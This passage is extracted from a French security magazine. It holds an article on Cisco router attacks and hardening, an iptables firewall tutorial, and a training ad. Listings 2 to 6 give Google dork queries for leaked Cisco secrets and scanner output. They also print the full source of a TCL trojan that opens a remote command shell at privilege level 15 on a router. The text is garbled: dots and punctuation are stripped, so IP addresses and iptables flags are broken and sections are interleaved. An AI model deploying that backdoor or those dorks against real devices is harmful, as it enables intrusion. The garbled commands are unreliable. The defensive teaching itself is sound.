bull PADbull MOPbull Fingerbull Bootpbull DNSbull Services TCP et UDP (Echo Chargen Discard)bull Script TCLbull CDP et LLDP sur les interfaces externes

Listing 2 Requecirctes googleHacking

no service single-slot-reload-enable enable secret

5 filetypeshtml -inurlcisco

ip ftp password 05080F1C2243

filetypecfg intextcisco

inurl-cfg intextenable secret

intitlelevel15exec

Listing 3 Utilisation dASS

test ass -mA -i eth0 -D 192168110 -b15 -v

ASS [Autonomous System Scanner] $Revision 214 $

(c) 2k FX ltfxphenoelitdegt

Phenoelit (httpwwwphenoelitde)

No protocols selected scanning all

Running scan with

interface eth0

Autonomous systems 0 to 15

delay is 1

in ACTIVE mode

Building target list

192168110 is alive

Scanning

Scanning IGRP on 192168110

Scanning IRDP on 192168110

Scanning RIPv1 on 192168110

shutdown

gtgtgtgtgtgtgtgtgtgtgtgt Results gtgtgtgtgtgtgtgtgtgtgt

192168110

IGRP

AS 00010 10000 (500001111111147625510)

IRDP

192168110 (18000)

192168999 (18000)

RIPv1

10000 (1)

Listing 4 Trojan TCL ndash routeur

Routergten

Routertclsh

Router(tcl)source tftptftpservertclshtcl

6201016

Pratique

Authentification et politique de mots de passe une politique stricte de mots de passe est agrave appliquer il est preacuteconiseacute dutiliser une forme dauthentification AAA

preacutefeacuterablement Tacacs+ afin de garder une trace des actions et des modifications appliqueacutees Les mots de passe des comptes locaux doivent utiliser un chiffrage

Listing 5 Trojan TCL ndash machine drsquoaccegraves

$ telnet router 1234

Trying router

Connected to router

Escape character is ^]

-------------------------------------

TclShell v01 by Andy Davis IRM 2007

-------------------------------------

Cisco IOS Software C2600 Software (C2600-

ADVENTERPRISEK9-M) Version

124(17) RELEASE

SOFTWARE (fc1)

Current privilege level is 15

Enter IOS command

show running-config

Building configuration

Current configuration 743 bytes

version 124(17)

service timestamps debug uptime

ltCUTgt

Listing 6 Trojan TCL ndash code source

TclShelltcl v01 by Andy Davis IRM 2007

IRM accepts no responsibility for the misuse of this

code

It is provided for demonstration purposes only

proc callback sock addr port

fconfigure $sock -translation lf -buffering line

puts $sock

puts $sock -------------------------------------

puts $sock TclShell v01 by Andy Davis IRM 2007

puts $sock -------------------------------------

puts $sock

set response [exec sh ver | inc IOS]

puts $sock $response

set response [exec sh priv]

puts $sock $response

puts $sock

puts $sock Enter IOS command

fileevent $sock readable [list echo $sock]

proc echo sock

global var

if [eof $sock] || [catch gets $sock line]

else

set response [exec $line]

puts $sock $response

set port 1234

set sh [socket -server callback $port]

vwait var

close $sh

Listing 7 Deacutesactivation des services

no scripting tcl init

no scripting tcl encdir

no service tcp-small-servers

no service udp-small-servers

no ip bootp server

no ip finger

no service dhcp

no ip domain lookup

no service pad

no ip http server

no ip http secure server

no ip gratuitous arp

Listing 8 Seacutecurisation de lauthentification locale

service password encrytpion

enable secret level ltlevelgt ltpasswordgt

no enable password

security authentication failure rate 10 log

security password min-length 6

Listing 9 Configuration seacutecuriseacutee de la journalisation

logging ltaddressgt

no logging console

no logging monitor

logging source-interface loopback 0

Listing 10 Configuration seacutecuriseacutee des accegraves

line vty 0 6 ltline numbersgt

transport input ssh

transport output none

exec-timeout 5 0

access-class 140 in

ip access-list extended 140

remark Management access restriction

ltaccess-listgt

deny ip any any log

6201018

Pratique

fort type MD5 et non des mots de passe de type 7 fa-cilement deacutechiffrables

Il est eacutegalement important de configurer un timeout de connexion entre 5 et 10 minutes (cf Listing 8)

Journalisation et sauvegarde des actions la journa-lisation des eacuteveacutenements ainsi que la sauvegarde des fichiers de configuration deacutependent de la politique inter-ne de lentreprise elle-mecircme deacutependant de sa capaciteacute agrave stocker et agrave inspecter les logs geacuteneacutereacutes (cf Listing 9)

Une configuration seacutecuriseacutee commence par la deacutefini-tion dune interface source des log (souvent linterface loopback0) lactivation des timestamps (facilite la lec-ture des logs) et la deacutefinition dun niveau des logs agrave en-voyer (en fonction de la capaciteacute de stockage agrave pros-crire le niveau 7)

Il est preacuteconiseacute de deacutesactiver les logs console et logs monitor susceptibles de consommer eacutenormeacutement de ressources causant un deacuteni de service

Filtrage daccegraves aux services de controcircle il existe deux meacutethodes de gestion dune plate-forme (routeur commu-tateur serveur hellip) Inbound le flux de transport et le flux de controcircle sont sur les mecircmes interfaces ou Outbound seacuteparation des flux de controcircle et des flux de transport

Le modegravele outbound est plus seacutecuriseacute son applica-tion se traduit par linstallation de serveurs de rebond souvent accessible agrave travers un VPN Des access-list sont creacuteeacutes sur le routeur nautorisant laccegraves quagrave partir de la machine de rebond Il est eacutegalement possible de deacutefinir une interface deacutedieacutee aux protocoles de gestion permettant ainsi une seacutecuriteacute optimale

LIOS Cisco permet eacutegalement dappliquer des ac-cess-list sur les accegraves SNMP en lecture seule et en lec-ture eacutecriture nautorisant que les machines de confian-ce censeacutees acceacuteder en SNMP agrave la plate-forme (cf Listing 10)

Durcissement du Control PlaneDurcir le control plane commence par le durcissement des protocoles de routages Ce sujet est neacuteanmoins

tregraves large et tregraves complexe plusieurs meacutecanismes de seacutecuriteacute existent selon le protocole utiliseacute et son fonc-tionnement la seacutecurisation de IS-IS est diffeacuterente de la seacutecurisation dOSPF par exemple

Il est cependant important dutiliser des secrets parta-geacutes de filtrer les annonces reccedilues en bloquant les an-nonces des blocs IP internes

Les environnements commuteacutes doivent obligatoi-rement ecirctre durcis contre les attaques MITM comme lempoisonnement ARP ces attaques souvent faciles agrave mener ont un effet deacutevastateur

Lutilisation du DHCP snooping du DAI (Dynamic ARP Inspection) et du Port security permet de pallier ce risque

Proteacuteger les ressources CPU des plates-formes en assurant le traitement des flux critiques (routage et ma-nagement) est possible gracircce au CoPP ce meacutecanisme est parfois long agrave impleacutementer

Il faut configurer des ACL pour deacutefinir les cateacutegories de flux en fonction de leur importance (routage mana-gement indeacutesirable normal et autre)

Configurer des Class-map pour chaque cateacutegorie et finalement configurer des Policy-map avec les valeurs autoriseacutes est le comportement adeacutequat pour chaque ty-pe de flux

Le CoPP nagit que sur les flux traiteacutes par le CPU et ninfluence aucunement les flux de transport

Durcissement du Data PlaneLa grande majoriteacute des attaques utilisent le spoofing dadresses IP pour diverses raisons Cisco propose un meacutecanisme dantispoofing (uRPF) utilisant la table de routage Ce meacutecanisme protegravege contre le spoofing des adresses IP internes

uRPF existe en plusieurs modes (strict loose vrf hellip) selon la symeacutetrie du routage et lutilisation de routeurs virtuels

Outre le blocage du spoofing dadresses IP avec luR-PF il est preacuteconiseacute de bloquer

table 2 RFC 3330

Scope Description

00008 laquoCeraquo reacuteseau

10008 Reacuteseau priveacute RFC 1918

127000 Loopback

1692540016 Lien local

172160012 Reacuteseau priveacute RFC 1918

19202024 Reacuteseau de test

1928899024 Relais anycast IPv6 agrave IPv4

1921680016 Reacuteseau priveacute RFC 1918

198180015 Test deacutevaluation de plates-formes

2240004 Multicast

hakin9orgfr 19

bull Bloques IP du RFC3330bull Messages ICMPbull Paquets fragmenteacutes

ConclusionLa seacutecuriteacute des plates-formes Cisco est un sujet vaste et passionnant il permet de sinteacuteresser agrave la fois agrave la seacute-curiteacute reacuteseau et systegraveme Les vecteurs dattaques sont nombreux et un simple article ne peut preacutetendre agrave les couvrir tous

Seacutecuriser ces plates-formes oblige donc agrave sinteacuteres-ser au fonctionnement des protocoles utiliseacutes et de lar-chitecture Hardware et Software du systegraveme

La compromission drsquoune telle plate-forme peut ecirctre fatale les nouveaux IOS proposent de nouvelles fonc-tionnaliteacutes permettant par exemple denregistrer le tra-fic sur une interface ou un VLAN et ainsi extraire les mots de passes et les informations circulant en clair dougrave limportance de sinteacuteresser agrave leur seacutecuriteacute

Agrave PrOPOS De LauteurLauteur est eacutetudiant en troisiegraveme anneacutee agrave Telecom SudParis (ex Telecom INT) il e ectue actuellement un stage dune an-neacutee agrave Bouygues Telecom en seacutecuriteacute reacuteseau Vous pouvez le contacter agrave ladresse mail suivante alaeddinemesbahigmailcom

Sur internetbull wwwhackersforcharityorgghdb ndash Liste de requecirctes go-

oglehacksbull wwwphenoelit-usorgdpldplhtml ndash Liste de mots de pas-

se par deacutefautbull wwwsecurityvulnerabilitynet ndash Excellent moteur de re-

cherche de vulneacuterabiliteacutes (BD de vulneacuterabiliteacutes CVE)

terminologiebull AS (Autonomous System) un ensemble de reacuteseaux IP so-

us le controcircle dune seule et mecircme entiteacute typiquement un fournisseur daccegraves agrave Internet ou une plus grande or-ganisation qui possegravede des connexions redondantes avec le reste du reacuteseau Internet Wikipeacutedia

bull Looking glass serveurs accessibles agrave partir dinternet po-ur visionner des informations sur le routage et des statisti-ques sur le trafi c

bull AAA correspond agrave un protocole qui reacutealise trois fonctions lauthentifi cation lautorisation et la traccedilabiliteacute (en An-glaisAuthentication Authorization AccountingAuditing) Wikipeacutedia

19

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

Fonctionnement de NetfilterLe but dun pare-feu est de bloquer filtrer router mo-difier des paquets reacuteseaux Les regravegles de configuration de Netfilter (iptables) ont eacuteteacute creacuteeacutees pour ecirctre simple dutilisation mecircme si lon verra que lon peut tregraves bien creacuteer des regravegles tregraves longues et tregraves compliqueacutees Pour ce faire des points dencrages (hook) ont eacuteteacute mis en pla-ce leur rocircle est de permettre une gestion des paquets agrave chacun des points dexploitation (voir Figure 1)

bull NF _ IP _ PRE _ ROUTING paquets entrants sur linterfa-ce

bull NF _ IP _ LOCAL _ IN paquets destineacutes agrave la machine locale

bull NF _ IP _ FORWARD paquets agrave routerbull NF _ IP _ LOCAL _ OUT paquets eacutemis depuis la machine

localebull NF _ IP _ POST _ ROUTING paquets sortants de linterface

Chacun de ces points dencrages correspond agrave une chaine que nous allons exploiter dans la conception de regravegles qui vont deacutefinir quel paquet est accepteacute ou reje-teacute (voir Figure 2)

bull NF _ IP _ PRE _ ROUTING PREROUTINGbull NF _ IP _ LOCAL _ IN INPUTbull NF _ IP _ FORWARD FORWARDbull NF _ IP _ LOCAL _ OUT OUTPUTbull NF _ IP _ POST _ ROUTING POSTROUTING

Le traitement des paquets est effectueacute de maniegravere seacute-quentielle cest agrave dire dans lordre dans lesquelles les regravegles ont eacuteteacute appliqueacutees (dougrave limportance de bien tout faire dans lordre) Le paquet sera traiteacute de la ma-niegravere suivante par le noyau

bull Reconnaissance de la Table (on traite le paquet en fonction des regravegles de la table) FILTER NAT MANGLE

bull Reconnaissance pour aiguillage (type de paquet INPUT OUTPUT)

Firewall sous linux

Maintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutematiques de seacutecuriteacute se font grandissantes Apregraves limpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se pose plus Nous allons voir ensemble le fonctionnement diptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur la seacutecurisation dune machine connecteacutee agrave Internet

cet article expliquebull Le fonctionnement des pare-feubull Les bonnes pratiques pour la mise en place dun pare-feubull Comment configurer Netfilterbull Les fonctions de routagebull Le filtrage avec IPV6

ce quil faut savoirbull Des connaissances en administration Linuxbull Le fonctionnement des reacuteseaux et protocoles (Ethernet TCP

IP UDPIP)

Nicolas Hanteville

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

